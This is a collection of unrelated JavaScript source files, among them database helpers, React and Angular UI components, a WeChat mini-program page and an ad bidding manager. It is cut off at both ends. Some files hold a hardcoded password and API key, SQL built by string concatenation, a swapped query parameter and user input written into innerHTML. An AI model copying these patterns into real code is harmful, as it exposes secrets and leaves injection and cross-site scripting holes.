parallel.push(generateLinkSelector(sentence.l)) }); async.parallel(parallel, function(err, selectData){ icb(err, err ? null : { sentences: data, toLinks: selectData }); }); }); async.waterfall(watter, cb) function generateLinkSelector(link){ return function(icb){ var sql = new SQL.SqlLib('link_sentence_t', ['word']); sql.whereAnd('sentence='+link); sql.select(pg, function(err, selectedData){ if(err){ icb(err); } var simpleData = []; // selected data is array of // selectedData[{word:1045},{word:1046}] // make just simple array // simpleData[1045,1046] selectedData.forEach(function(sel){ simpleData.push(sel.word); }) icb(err, simpleData); }); } } function generateUniqueLinks(){ var toLinks = {} dataContainer.toLinks.forEach(function(link){ toLinks[link] = link; }); dataContainer.toLinks = [] for(var link in toLinks){ dataContainer.toLinks.push(link); } } } /*** * crete new word on link, if exist both sides -> just update them * @param pg * @param addWord * @param link * @param cb */ function addWordFromLink(pg, addWord, userId, cb){ async.parallel([ function(icb) { var wu1 = { word : addWord.w1, lang : addWord.n1, record : addWord.r1, link : addWord.l } ; module.exports.updateWord(pg, wu1, userId, function(err, data){ icb(err,data); }); },function(icb) { var wu1 = { word : addWord.w2, lang : addWord.n2, record : addWord.r2, link : addWord.l } ; module.exports.updateWord(pg, wu1, userId, function(err, data){ icb(err, data); }); } ], function(err, wordData){ if(err){ return cb(err); } console.log(wordData[0], wordData[1]); var resultWord = {}; resultWord.l = addWord.l; resultWord.d = addWord.d; resultWord.w1 = wordData[0]; resultWord.w2 = wordData[1]; cb(null, resultWord); }) } function updateDescription(pg, link, desc, cb){ var sql = 'UPDATE link SET description=$1 WHERE lid=$2'; var sqlData = [link, desc]; pg.query(sql, sqlData, function(err, data){ console.log(sql, sqlData); if(err){ cb(err); } else { cb(null, data.rowCount > 0); } }); }
var searchData= [ ['color_5ft_51',['Color_t',['../struct_color__t.html',1,'']]] ];
import React from 'react' import { storiesOf } from '@storybook/react' import HealthwiseLogo from './index' storiesOf('core|Media/Healthwise Logo', module).add( 'default', () => ( <div style={{ width: '200px', padding: '20px' }}> <HealthwiseLogo /> </div> ), { info: ` Healthwise SVG logo `, } )
'use strict'; module.exports = { up: (queryInterface, Sequelize) => { return queryInterface.createTable('Products', { id: { allowNull: false, autoIncrement: true, primaryKey: true, type: Sequelize.INTEGER }, brandId: { type: Sequelize.INTEGER }, productName: { type: Sequelize.TEXT }, productPrice: { type: Sequelize.DECIMAL }, productDesc: { type: Sequelize.TEXT }, productImgPath: { type: Sequelize.TEXT }, createdBy: { type: Sequelize.INTEGER }, modifiedBy: { type: Sequelize.INTEGER }, createdDate: { type: Sequelize.DATE }, modifiedDate: { type: Sequelize.DATE }, createdAt: { allowNull: false, type: Sequelize.DATE }, updatedAt: { allowNull: false, type: Sequelize.DATE } }); }, down: (queryInterface, Sequelize) => { return queryInterface.dropTable('Products'); } };
/** * Renders content inside a single calendar day cell. * It is also a dropzone for calendar events. */ P.views.calendar.Day = P.views.Composite.extend({ templateId: 'calendar.day', tagName: 'td', className: 'si-cal-day', childView: P.views.calendar.Event, elEvents: { 'handleClick': 'click' }, /** * Binds a number of events to the view.el that must stoplistening on removal */ initialize: function(options) { this.collection = this.model.get('dayEvents'); this.moment = this.model.get('moment'); this.calendarEvents = options.calendarEvents; this.$el.droppable({ addClass: false, drop: this.drop.bind(this), hoverClass: 'drop-hover' }); Object.keys(this.elEvents) .forEach(function(cb) { this[cb] = this[cb].bind(this); this.el.addEventListener(this.elEvents[cb], this[cb]); }.bind(this)); var today = (new Date()).setHours(0, 0, 0, 0); this.isSameMonth = this.model.get('activeMonth') === this.moment.month(); this.isToday = this.moment.isSame(today, 'day'); this.isDayOne = this.isSameMonth && this.moment.date() === 1; }, /** * Moves an event after the drop. Extracted for testability. */ addEvent: function(id) { var eventModel = this.model.get('allEvents') .findWhere({ id: id }), thisDate = this.moment.format('YYYY-MM-DD'), originalDate; if (eventModel) { originalDate = eventModel.get('start'); } else { // toBeImplemented return; } if (originalDate === thisDate) { return; } var cancelCallback = function() { eventModel.unset('processing'); eventModel.set('start', originalDate); }; eventModel.set('start', thisDate); this.calendarEvents.trigger('move:event', eventModel, thisDate, cancelCallback); }, drop: function(event, ui) { event.preventDefault(); event.stopPropagation(); this.addEvent(ui.helper.$$model.id); }, /** * Passes click events to the calendarEvents channel with the date obj */ handleClick: function(event) { this.calendarEvents.trigger('click:day', this.moment); }, handleDrop: function(event) { event.stopPropagation(); event.preventDefault(); this.el.classList.remove('over'); var id = event.dataTransfer.getData('text/plain') .split(':') .pop() .trim(); this.addEvent(id); }, serializeData: function() { var day; if (this.isDayOne) { day = this.moment.format('MMMM D'); } else { day = this.moment.format('D'); } return { day: day }; }, onRender: function() { if (!this.isSameMonth) { this.el.classList.add('si-cal-other-month'); } else if (this.isToday) { this.el.classList.add('si-cal-today'); } }, remove: function() { Object.keys(this.elEvents) .forEach(function(cb) { this.el.removeEventListener(this.elEvents[cb], this[cb]); }.bind(this)); } });
const yargs = require('yargs'); const Paths = require('../../lib/paths'); const imgCmd = [ 'files/clear-sourcemap-comments-in-css', 'helpers/version', 'html/validate', 'img/build', 'img/minify', 'img/resize', 'img/towebp', ]; /** * DvxCLI class wrap yargs initial config * * Read more about yargs on: * * https://containership.engineering/creating-an-extensible-cli-in-nodejs-fabfe47c425c * http://yargs.js.org/docs/#api-commandcmd-desc-builder-handler * https://boneskull.com/typescript-defs-in-javascript/ */ class DvxCLI { /** * Create a new instance of DvxCLI class */ constructor() { this.yargs = yargs; this.cmd = {}; this.paths = new Paths(); this.installCommands(imgCmd); this.configureYargs(); } /** * Load commands * @param {string} commands */ installCommands(commands) { commands.forEach((cmd) => { this.installCommand(require(`./commands/${cmd}`)); }); } /** * Load single command file * @param {string} cmd */ installCommand(cmd) { if (cmd.option && cmd.option === 'version') { this.getYargs().version(cmd.option, cmd.description); } else { this.getYargs().command(cmd.cmd, cmd.desc, cmd.opts || {}); this.cmd[cmd.cmd] = cmd.handler || (() => log('[error]:', 'Handler not defined')); } } /** * Create initial yargs config */ configureYargs() { this.yargs .scriptName('dvx') .usage('Devexteam CLI') .usage('$0 <cmd> [args]') .wrap(95) .locale('en') .epilogue(`https://devexteam.com - Copyright ${new Date().getFullYear()}`) .alias('distribution', 'd') .alias('source', 's') .help() .hide('version') .hide('help') .alias('help', 'h') .alias('version', 'v'); } /** * Get yargs * @returns {yargs} */ getYargs() { return this.yargs; } } module.exports = new DvxCLI();
// pages/pt_scx/pt_scx.js const app = getApp(); var bcode; var detail_id; var ptproduct = []; var currentPage = 1; var dynamic = []; Page({ /** * 页面的初始数据 */ data: { banner:[], information:[], giftlist:[], pageSize:6, totalResult:10, totalPage:1, currentPage:1, tar:"2", tab:"2", tag:[ {id:1,name:'全部商品'}, {id:2,name: '礼品专区'}, {id:3, name: '微动态' } ], dynamic:[], img:[], video:[], idx:'', isvideo: true, }, /** * 生命周期函数--监听页面加载 */ onLoad: function (options) { var that = this; detail_id = options.id; wx.request({ url: app.data.urlmall + "/appstore/detail.do", data: { id: detail_id, }, method: 'POST', header: { 'content-type': 'application/x-www-form-urlencoded' }, dataType: 'json', success: function (res) { console.log(res.data.data) if (res.data.status === 100) { that.setData({ information: res.data.data, }) } else { wx.showToast({ title: res.data.msg, icon: 'none' }) } } }), //用户终身绑定配套商家 wx.request({ url: app.data.urlmall + "/appstore/setbindstore.do", data: { id: detail_id, token: wx.getStorageSync('ptoken') }, method: 'POST', header: { 'content-type': 'application/x-www-form-urlencoded' }, dataType: 'json', success: function (res) { console.log(res.data.data) if (res.data.status === 100) { // that.setData({ // information: res.data.data, // }) } else { // wx.showToast({ // title: res.data.msg, // icon: 'none' // }) } } }) //微动态 wx.request({ url: app.data.urlmall + "/appstore/dynamic.do", data: { id: detail_id, currentPage: that.data.currentPage, }, method: 'POST', header: { 'content-type': 'application/x-www-form-urlencoded' }, dataType: 'json', success: function (res) { console.log(res.data.data) if (res.data.status === 100) { for (var i in res.data.data.data) { var l = []; for (var j in res.data.data.data[i].dynamicFiles) { if (res.data.data.data[i].type == 1) { l.push(res.data.data.data[i].dynamicFiles[j].filePathOss) res.data.data.data[i].img = l; res.data.data.data[i].video = []; } else { l.push(res.data.data.data[i].dynamicFiles[j].filePathOss) res.data.data.data[i].video = l; res.data.data.data[i].img = []; } } } console.log(res.data.data.data.length) that.setData({ dynamic: res.data.data.data, totalPage: res.data.data.totalPage }) } else { wx.showToast({ title: res.data.msg, icon: 'none' }) } } }) }, /** * 生命周期函数--监听页面初次渲染完成 */ onReady: function () { }, /** * 生命周期函数--监听页面显示 */ onShow: function () { this.getbannerlist(); this.getgiftlist(); wx.getStorage({ key: 'userinfo', success: function (res) { bcode = res.data.user_id; }, }) var that = this; setTimeout(function(){ console.log(that.data) wx.setNavigationBarTitle({ title: that.data.information.storeName, }) },500) }, /** * 生命周期函数--监听页面隐藏 */ onHide: function () { var that = this; setTimeout(function(){ that.setData({ banner: [], giftlist: [], pageSize: 6, totalResult: 10, totalPage: 1, }) },500) ptproduct = []; totalPage: 1; currentPage = 1; }, /** * 生命周期函数--监听页面卸载 */ onUnload: function () { var that = this; that.setData({ banner: [], giftlist: [], information: [], pageSize: 6, totalResult: 10, totalPage: 1, }) ptproduct = [] ; totalPage: 1; currentPage = 1; }, /** * 页面相关事件处理函数--监听用户下拉动作 */ onPullDownRefresh: function () { }, /** * 页面上拉触底事件的处理函数 */ onReachBottom: function () { var that = this; if (currentPage == that.data.totalPage) { wx.showToast({ title: '别拉了,已经到底了', icon: 'none' }) } else { currentPage = currentPage + 1; this.getbannerlist(); } }, /** * 用户点击右上角分享 */ onShareAppMessage: function () { console.log(wx.getStorageSync("userinfo").is_actor) var isactor = wx.getStorageSync("userinfo").is_actor; var isleagure = wx.getStorageSync("userinfo").shareIdentityType; var hasdiol = wx.getStorageSync("userinfo").idol_id; var bcode; var scode; if (isactor == 2) { bcode = wx.getStorageSync("userinfo").user_id; scode = wx.getStorageSync("userinfo").user_id; } else if (isleagure != 0 && hasdiol == null) { bcode = wx.getStorageSync("userinfo").user_id; scode = wx.getStorageSync("userinfo").user_id; } else if (isleagure != 0 && hasdiol != null) { bcode = wx.getStorageSync("userinfo").idol_id; scode = wx.getStorageSync("userinfo").user_id; } else if (hasdiol != null || hasdiol != "") { bcode = wx.getStorageSync("userinfo").idol_id; scode = wx.getStorageSync("userinfo").user_id; } else { bcode = wx.getStorageSync("userinfo").user_id; scode = wx.getStorageSync("userinfo").user_id; } return { title: '一手明星资源,尽在娱乐世界!', path: '/pages/pt_mall/pt_mall?bindcode=' + bcode + "&scode=" + scode } }, getbannerlist:function (){ var that = this; wx.request({ url: app.data.urlmall + "/appstore/sellproduct.do", data: { id: detail_id, currentPage: currentPage, }, method: 'POST', header: { 'content-type': 'application/x-www-form-urlencoded' }, dataType: 'json', success: function (res) { console.log(res.data.data) if (res.data.status === 100) { for (var i in res.data.data.data) { ptproduct.push(res.data.data.data[i]) } that.setData({ banner: ptproduct, totalResult: res.data.data.totalResult, totalPage: res.data.data.totalPage }) } else { wx.showToast({ title: res.data.msg, icon: 'none' }) } } }) }, getgiftlist: function () { var that = this; wx.request({ url: app.data.urlmall + "/appstore/integralproduct.do", data: { id: detail_id, }, method: 'POST', header: { 'content-type': 'application/x-www-form-urlencoded' }, dataType: 'json', success: function (res) { console.log(res.data.data) if (res.data.status === 100) { that.setData({ giftlist:res.data.data.data }) } else { wx.showToast({ title: res.data.msg, icon: 'none' }) } } }) }, sinformation:function(e){ //console.log(e) wx.navigateTo({ url: '../pt_sjxx/pt_sjxx?id=' + e.currentTarget.id, }) }, // 联系商家 callkf: function (e) { wx.makePhoneCall({ phoneNumber: this.data.information.servicePhone }) }, details:function(e){ console.log(e) if (e.currentTarget.dataset.type == 0) { wx.navigateTo({ url: '../pt_virtual_d/pt_virtual_d?id=' + e.currentTarget.id, }) }else if(e.currentTarget.dataset.type == 1){ wx.navigateTo({ url: '../pt_puxq/pt_puxq?id=' + e.currentTarget.id, }) }else if(e.currentTarget.dataset.type == 2) { wx.navigateTo({ url: '../pt_package/pt_package?id=' + e.currentTarget.id, }) }else{ wx.navigateTo({ url: '../pt_fwxq/pt_fwxq?id=' + e.currentTarget.id, }) } }, //商品切换 tag: function (e) { var that = this; console.log(e.currentTarget.dataset.num) that.setData({ tar: e.currentTarget.dataset.num, tab: e.currentTarget.dataset.num }) }, //查看图片 imgsrc: function (e) { var that =this; console.log(e) var num = e.currentTarget.dataset.num; var selectindex = e.currentTarget.dataset.src;//获取data-src var imgList = this.data.dynamic[num].img;//获取data-list //图片预览 wx.previewImage({ current: selectindex, // 当前显示图片的http链接 urls: imgList // 需要预览的图片http链接列表 }) }, //查看视频 hidevideo: function (e) { var that = this; that.setData({ isvideo: !that.data.isvideo }) }, seevideo: function (e) { var that = this; that.setData({ isvideo: !that.data.isvideo, play: e.currentTarget.dataset.src }) }, })
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = exports.processFn = void 0; var _Queue = _interopRequireDefault(require("../../lib/Queue")); var _JobQueue = _interopRequireDefault(require("../../lib/JobQueue")); var _video = _interopRequireDefault(require("./video")); var _display = _interopRequireDefault(require("./display")); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /* eslint-disable no-console */ // TODO [] - Add tests /** * This function will make bid requests and then call the bidders functions * for callbacks for a successfull bid call. * @param {Function} props.refresh - Googletag refresh fn. * @param {Bidder[]} props.bidProviders - Array of bidProviders. * @param {Number} props.bidTimeout - Ammount of time to wait for bidders. * @param {Function} props.dispatchBidders - function that fetches the bids. * @param {Queue} q - The items that the job passed to thie processing fn. * @param {Promise.resolve} done - Resolves a promise and ends the job. * @function * @returns {void} */ var processFn = function processFn(bidProviders, bidTimeout, refresh) { return function (q, done) { var displayQueue = new _Queue.default(); var videoQueue = new _Queue.default(); while (!q.isEmpty) { var item = q.dequeue(); if (item.data.type === 'video') videoQueue.enqueue(item);else if (item.data.type === 'display') displayQueue.enqueue(item); } Promise.all([(0, _video.default)(bidProviders, bidTimeout, videoQueue), (0, _display.default)(bidProviders, bidTimeout, refresh, displayQueue)]).then(done); }; }; /** * @param {Function} props.refresh - Googletag refresh fn. * @param {Number} props.chunkSize - Max ads to process. * @param {Bidder[]} props.bidProviders - Array of bidProviders. * @param {Function} props.getBids - Prebid function used to fetch bids. * @param {Number} props.refreshDelay - Refresh delay. * @function * @returns {Object} */ exports.processFn = processFn; var bidManager = function bidManager() { var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; var refresh = props.refresh, _props$chunkSize = props.chunkSize, chunkSize = _props$chunkSize === void 0 ? 5 : _props$chunkSize, _props$bidProviders = props.bidProviders, bidProviders = _props$bidProviders === void 0 ? [] : _props$bidProviders, _props$bidTimeout = props.bidTimeout, bidTimeout = _props$bidTimeout === void 0 ? 1000 : _props$bidTimeout, _props$refreshDelay = props.refreshDelay, refreshDelay = _props$refreshDelay === void 0 ? 100 : _props$refreshDelay, _props$onBiddersReady = props.onBiddersReady, onBiddersReady = _props$onBiddersReady === void 0 ? function () {} : _props$onBiddersReady; var refreshJob = new _JobQueue.default({ canProcess: false, delay: refreshDelay, chunkSize: chunkSize, processFn: processFn(bidProviders, bidTimeout, refresh) }); // Wait for the bidders to be ready before starting the job. onBiddersReady(refreshJob.start); return { refresh: refreshJob.add }; }; var _default = bidManager; exports.default = _default;
import React, {Component} from 'react' import {ScrollView, Text, TouchableHighlight, View, StyleSheet} from 'react-native' import MokeUtil from "../utils/MokeUtils"; import ColorList from "../utils/Colors"; import Util from "../utils"; var ToastAndroid = require('../ToastAndroid'); class MainCenterPager extends Component { constructor(props) { super(props); console.log("List constructor"); console.log(MokeUtil.mainDatas); this.state = { days: MokeUtil.mainMenus, author: 'szzynt' } } render() { console.log("List render"); var textList = []; for (var i = 0; i < this.state.days.length; i++) { let day = this.state.days[i]; textList.push( <View style={{ justifyContent: 'center', alignItems: 'center', padding: 5 }} key={'item' + i}> <TouchableHighlight style={styles.touchables} onPress={this.show.bind(this, day.title, day.componentName, day.component)} activeOpacity={2} underlayColor="#fa8072" > <Text style={{color: '#336699', fontSize: 16, alignItems: 'center'}}> {day.title} </Text> </TouchableHighlight> </View> ); } return ( <View style={styles.list_container}> <ScrollView> <View style={{ justifyContent: 'center', alignItems: 'center', }}> <Text style={{ fontSize: 23, color: '#FFFFFF', alignItems: 'center', marginTop: 15 }}> React-Native Demos </Text> </View> <View style={{ justifyContent: 'center', alignItems: 'center', marginTop: 10, marginBottom: 10 }}> {textList} </View> </ScrollView> </View> ); } show(msg, comName, component) { const {navigator} = this.props; //为什么这里可以取得 props.navigator?请看上文: //<Component {...route.params} navigator={navigator} /> //这里传递了navigator作为props if (navigator) { navigator.push( { name: comName, component: component, params: { author: this.state.author, } }) } ToastAndroid.show("跳转到" + msg, ToastAndroid.SHORT); } } const styles = StyleSheet.create( { flex: { flex: 1, }, list_container: { flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: ColorList.steelblue, }, touchables: { width: Util.size.width * 0.95, backgroundColor: ColorList.skyblue, height: 45, borderRadius: 5, justifyContent: 'center', padding: 5, alignItems: 'center' }, }); export default MainCenterPager;
exports.password = { pass:"l4z4rus123" }
module.exports = function * errorService(beyo) { beyo.__services = beyo.__services || {}; this.__services = this.__services || {}; beyo.__services['error'] = true; //this.__services['error'] = true; throw Error('Test service'); }
const _generateId = (size) => { let id = ""; const alphabet = "qwertyuiopasdfghjklzxcvbnm1234567890"; size = size || 7; while (size--) { id += alphabet[Math.random() * alphabet.length | 0]; } return id; }; export default _generateId;
import React, { Component } from "react"; import Typography from "@material-ui/core/Typography"; import { ListItemText } from "@material-ui/core"; import ListItem from "@material-ui/core/ListItem"; import Divider from "@material-ui/core/Divider"; import List from "@material-ui/core/List"; import Button from "@material-ui/core/Button"; import Dialog from "@material-ui/core/Dialog"; class StationPage extends Component { constructor() { super(); this.state = { open: false }; } render() { function handleClickOpen() { this.state.open = true; } function handleClose() { this.state.open = false; } return ( <div className="root"> <Button variant="outlined" color="primary" onClick={handleClickOpen}> Open full-screen dialog </Button> <Dialog fullScreen open={this.state.open} onClose={handleClose}> <Typography variant="h4" style={{ marginLeft: 16, marginTop: 10 }} gutterBottom > Dirb </Typography> <Typography variant="h6" style={{ marginLeft: 22, marginTop: -5 }} gutterBottom > SO15 1DP </Typography> <Typography variant="h4" style={{ marginLeft: 16 }} gutterBottom> Network Name </Typography> <List> <Divider /> <ListItem alignItems="flex-start"> <ListItemText primary="Device 1" secondary={ <React.Fragment> <Typography component="span" variant="body2" color="textPrimary" > Type 1 </Typography> </React.Fragment> } ></ListItemText> </ListItem> <Divider /> <ListItem alignItems="flex-start"> <ListItemText primary="Device 2" secondary={ <React.Fragment> <Typography component="span" variant="body2" color="textPrimary" > Type 2 </Typography> </React.Fragment> } ></ListItemText> </ListItem> <Divider /> <ListItem alignItems="flex-start"> <ListItemText primary="Device 3" secondary={ <React.Fragment> <Typography component="span" variant="body2" color="textPrimary" > Type 2 </Typography> </React.Fragment> } ></ListItemText> </ListItem> <Divider /> </List> <div className="innerDiv"> <Button variant="contained" style={{ marginRight: 16, marginLeft: 10 }} > Report A Device </Button> <Button variant="contained">Write A Comment</Button> </div> </Dialog> </div> ); } } export default StationPage;
import React from 'react'; import {MDBBtn, MDBRow} from 'mdbreact'; import PropTypes from 'prop-types'; import { AddComment } from '../../components/add-comment/add-comment'; import ThumbUp from '../../../public/thumb-up.svg'; import Comment from '../../../public/comment.svg'; import classes from './index.module.css'; export const CommentFooter = React.memo((props) => ( <React.Fragment> <MDBRow> <MDBBtn className={classes.btnStyle} flat> <img className={classes.imgStyle} src={ThumbUp} alt="agree" /> <span onClick={props.onVote} className={props.evaluateStatus === 1 ? classes.spanStyleActive : classes.spanStyle}>{props.upvoteCount}个点赞</span> </MDBBtn> <MDBBtn className={classes.btnStyle2} onClick={props.giveReplies} flat> <img className={classes.imgStyle} src={Comment} alt="comment" /> {props.replyText} </MDBBtn> </MDBRow> {props.showGive ? ( <AddComment addComments={props.addComments} /> ) : null} </React.Fragment> )); CommentFooter.displayName = 'CommentFooter'; CommentFooter.propTypes = { giveReplies: PropTypes.func.isRequired, onVote: PropTypes.func.isRequired, replyText: PropTypes.string.isRequired, upvoteCount: PropTypes.number.isRequired, addComments: PropTypes.func, evaluateStatus: PropTypes.number, showGive: PropTypes.bool.isRequired, };
import HttpRequest from './http_request' class ServiceClassProvider extends HttpRequest { getServiceClassTransfer () { return this.joyGetAPI('d61acf0a-1c74-44fd-8c6e-fd93a2fe4332') } getServiceClassCharter () { return this.joyGetAPI('feeb210e-d988-4ad4-b5fe-4b40d4529e84') } } export default ServiceClassProvider
import React, {Component} from 'react'; import FooterFixedComponent from './footerFixed'; class FooterComponent extends Component { render() { return ( <div> <FooterFixedComponent/> </div> ); } } export default FooterComponent;
class Comment { constructor(userName,comment,id,datePosted,slide) { this.userName = userName; this.comment = comment; this.datePosted = datePosted; this.slide = slide; this.id = id; this.material_id = "udewqa2234gf123o8"; } replyBtn(id) { var btn = document.createElement("BUTTON"); btn.className = 'btn-sm btn-primary float-right'; btn.textContent = "reply"; btn.onclick = function(){repy(id)}; return btn; } createComment() { this.comment = document.createTextNode(this.comment); var div1 = document.createElement("DIV"); div1.className = 'media p-3'; div1.id = guidGenerator(); var pfp = document.createElement("IMG"); pfp.src = "https://www.retailx.com/wp-content/uploads/2019/12/iStock-476085198-300x300.jpg"; pfp.classList.add('mr-3' ,'mt-3', 'rounded-circle'); pfp.style.width = "45px"; div1.appendChild(pfp); var div2 = document.createElement("DIV"); div2.className = 'media-body'; div2.id = guidGenerator(); div2.innerHTML = '<h4>'+this.userName + ' <small><i>Posted on '+ new Date().toISOString().split("T")[0];+'</i></small></h4>'; var par = document.createElement('p'); par.appendChild(this.comment); div2.appendChild(par); div2.appendChild(this.replyBtn(div2.id)); div1.appendChild(div2); return div1; } } function guidGenerator() { var S4 = function() { return (((1+Math.random())*0x10000)|0).toString(16).substring(1); }; return (S4()+S4()+"-"+S4()+"-"+S4()+"-"+S4()+"-"+S4()+S4()+S4()); } function submitComment() { var comments = document.getElementById('comments'); var text = document.getElementById('comment_block'); var c = new Comment("obuya",text.value, comments.id, new Date().toISOString()); document.getElementById(comments.id).appendChild(c.createComment()); document.getElementById('comment').setAttribute("disabled", null); text.value = ''; onPostComment(c.userName, c.slide, c.comment); } function repy(id) { var c = new Comment("obuya", "this is a test", id); document.getElementById(id).appendChild(c.createComment()); } document.getElementById("comment_block").addEventListener("input", function() { var nameInput = document.getElementById('comment_block').value; if (nameInput != "") { document.getElementById('comment').classList.remove("disabled"); document.getElementById('comment').removeAttribute("disabled"); console.log("Hello world!"); } else { document.getElementById('comment').setAttribute("disabled", null); document.getElementById('comment').classList.add("disabled"); } }); document.getElementById("go_previous").addEventListener("click", (e) => { getpageComments(); }); document.getElementById("go_next").addEventListener("click", (e) => { getpageComments(); }); function getManyComments() { return new Promise((resolve, reject) => { firebase .auth() .currentUser.getIdToken() .then((token) => { httpGetAsync( `/api/getMaterialComments?token=${token}&material_id=5fb12e415c07648e7d026230`, (res) => { resolve(res); } ); }); }) } function onPostComment(userName, slide,com) { firebase .auth() .currentUser.getIdToken() .then((token) => { httpPostAsync( "/api/postComment", `token=${token}&material_id=5fb12e415c07648e7d026230&user_id=${userName}&contents=${com}&datePosted=${JSON.stringify( new Date() )}&slideNumber=${slide}`, (res) => { console.log("got the response: " + res); } ); }); } function getpageComments() { document.getElementById('comments').innerHTML = ""; var comment_div = document.getElementById('comments'); getManyComments().then((res) => { var obj = JSON.parse(res); var c = obj.comments; console.log(c[0].contents); for(var i = 0; i < c.length; i++) { if(c[i].slideNumber == myState.currentPage) { var newC = new Comment(c[i].name, c[i].contents,c[i]._id); console.log(c[i].contents); document.getElementById(comment_div.id).appendChild(newC.createComment()); } } }) }
import React, { useEffect, useState } from 'react' import { getCookie, isAuth } from '../../actions/auth' import { list, removeBlog } from '../../actions/blog' import Router from 'next/router' import Link from 'next/link' import moment from 'moment' import { Alert } from 'reactstrap' const BlogsRead = ({ username }) => { const [Blogs, setBlogs] = useState([]) const [Message, setMessage] = useState('') const [visible, setVisible] = useState(true); const onDismiss = () => { setVisible(false) } const token = getCookie('token') useEffect(() => { LoadBlogs() }, []) const LoadBlogs = () => ( list(username) .then((data) => { if (data.err) { console.log(data.err) } else { setBlogs(data.blogs) } }) ) const deleteConfirm = slug => { let answer = window.confirm('Are you sure you want to delete this blog?') if (answer) { removeBlog(slug, token) .then(data => { if (data.err) { setVisible(true) console.log(data.err) } else { setVisible(true) setMessage(data.message) LoadBlogs() } }) } } const showUpdateButton = blog => { if (isAuth && isAuth().role === 0) { return <Link href={`/user/crud/${blog.slug}`}> <a className="btn btn-sm btn-warning">Update</a> </Link> } if (isAuth && isAuth().role === 1) { return <a href={`/admin/crud/${blog.slug}`} className="btn btn-sm btn-warning">Update</a> } } const showAllBlogs = () => { return Blogs.map((blog, i) => { return <div className='pb-5' key={i}> <h3>{blog.title}</h3> <p className="mark"> Written by {blog.postedBy.name} | Published on {moment(blog.createdAt).fromNow()} </p> <button className="btn mr-2 btn-sm btn-danger" onClick={() => deleteConfirm(blog.slug)}>Remove</button> {showUpdateButton(blog)} </div> }) } return ( <React.Fragment> <div className="row"> <div className="col-md-12"> { Message && <Alert color="warning" isOpen={visible} toggle={onDismiss}> {Message} </Alert> } {showAllBlogs()} </div> </div> </React.Fragment> ) } export default BlogsRead
fetch = require('node-fetch'); module.exports = require('systemjs/dist/system');
'use strict'; angular.module('stockchartApp') .controller('MainCtrl', function ($scope, $http, $mdToast) { $scope.stocks = []; $scope.isLoading = false; Array.prototype.getUnique = function(){ var u = {}, a = []; for(var i = 0, l = this.length; i < l; ++i){ if(u.hasOwnProperty(this[i])) { continue; } a.push(this[i]); u[this[i]] = 1; } return a; }; $http.get('/api/stocks').success(function (stocksFromDb) { stocksFromDb.getUnique(); $scope.isLoading = false; // Will post a stock if empty to avoid errors if (stocksFromDb.length === 0) { $scope.stocks = ['AAPL']; $http.post('/api/stocks', {name: 'AAPL'}).success(function () { }) } else { stocksFromDb.forEach(function (stock, index) { $scope.stocks.push(stock.name[0]) }); } var currentUrl = ''; var codesArray = []; var namesArray = []; var namesObject = {}; var stocksUrls = []; $scope.userTypedStockName = ''; var clearUserInput = function () { $scope.userTypedStockName = ''; }; // Limit is set to 128, aka 6 months worth of results. there is the potential to add more options to how many months/years displayed var createQuandlQueryUrl = function (stockName) { if (stockName) { currentUrl = 'https://www.quandl.com/api/v3/datasets/WIKI/' + stockName + '.json' + '?order=desc' + '&limit=128' + '&api_key=zwfVKsRK7iy4KCdzcXaG'; } }; // Create an array of urls for all stock names grabbed from db $scope.stocks.forEach(function (stock) { createQuandlQueryUrl(stock); stocksUrls.push(currentUrl); }); // Helper methods begin **************************************************** var stockNameTruncate = function (name) { var indexOfEndBracket = name.indexOf(')'); return name.substr(0, indexOfEndBracket + 1); }; var namesObjectifier = function (myData) { codesArray.push(myData.dataset_code); namesArray.push(stockNameTruncate(myData.name)); codesArray.forEach(function (code, index) { namesObject[code] = namesArray[index]; }); }; var makePlots = function (myData) { myData.plots = []; myData.data.forEach(function (item) { myData.plots.push(item[1]); }); myData.plots.unshift(myData.dataset_code); }; // Helper methods end **************************************************** // Init: make dates and plots arrays and load graph stocksUrls.forEach(function (stockUrl) { $http.get(stockUrl) .success(function (data) { $scope.isLoading = true; var myData = data.dataset; // Make dates array myData.dates = []; myData.data.forEach(function (item) { myData.dates.push(item[0]); }); myData.dates.unshift('x'); datesToGraph = myData.dates; // Make plot array makePlots(myData); resultArr.push(myData.plots); // Turn graph labels into full stock names namesObjectifier(myData); if (resultArr.length === stocksUrls.length) { //Declare the c3 chart and init with value chart = c3.generate({ data: { x: 'x', columns: [datesToGraph].concat(resultArr), names: namesObject }, axis: { x: { type: 'timeseries', tick: { format: '%Y-%m-%d' } } }, point: { show: false }, legend: { position: 'bottom' } }); $scope.isLoading = false; } }) .error(function (error) { console.log(error); }) }); var datesToGraph = []; var plotsInit = []; var chart; var resultArr = []; // Toast start***************************************************** var last = { bottom: false, top: true, left: false, right: true }; $scope.toastPosition = angular.extend({}, last); function sanitizePosition() { var current = $scope.toastPosition; if (current.bottom && last.top) current.top = false; if (current.top && last.bottom) current.bottom = false; if (current.right && last.left) current.left = false; if (current.left && last.right) current.right = false; last = angular.extend({}, current); } $scope.getToastPosition = function () { sanitizePosition(); return Object.keys($scope.toastPosition) .filter(function (pos) { return $scope.toastPosition[pos]; }) .join(' '); }; var showSimpleToast = function (message) { $mdToast.show( $mdToast.simple() .content(message) .position($scope.getToastPosition()) .hideDelay(3000) ); }; // Toast end***************************************************** $scope.moreThanOneLeft = function (array) { return array.length >= 2; }; // Executed when user presses a delete button $scope.removeStock = function (stockName, index) { if ($scope.moreThanOneLeft($scope.stocks)) { chart.unload({ ids: [ stockName ] }); // Delete from front end array $scope.stocks.splice(index, 1); // Delete from back end array $http.delete('/api/stocks/' + stockName).success(function () { }).error(function (error) { console.log('delete error: ', error); }); } else { console.log('wont delete because only 1 left'); } }; // Executed when user enters a stock code $scope.add = function () { // Make the user entry uppercase $scope.userTypedStockName = $scope.userTypedStockName.toUpperCase(); if ($scope.stocks.indexOf($scope.userTypedStockName) === -1) { // User entered a valid stock code createQuandlQueryUrl($scope.userTypedStockName); $http.get(currentUrl) .success(function (data) { $scope.isLoading = true; var myData = data.dataset; // Make plot array makePlots(myData); chart.load({ columns: [ myData.plots ] }); // Post to front end array $scope.stocks.push($scope.userTypedStockName); // Post to back end array $http.post('/api/stocks', {name: $scope.userTypedStockName.toUpperCase()}).success(function () { }).error(function (error) { console.log(error); }); clearUserInput(); namesObjectifier(myData); chart.data.names(namesObject); $scope.isLoading 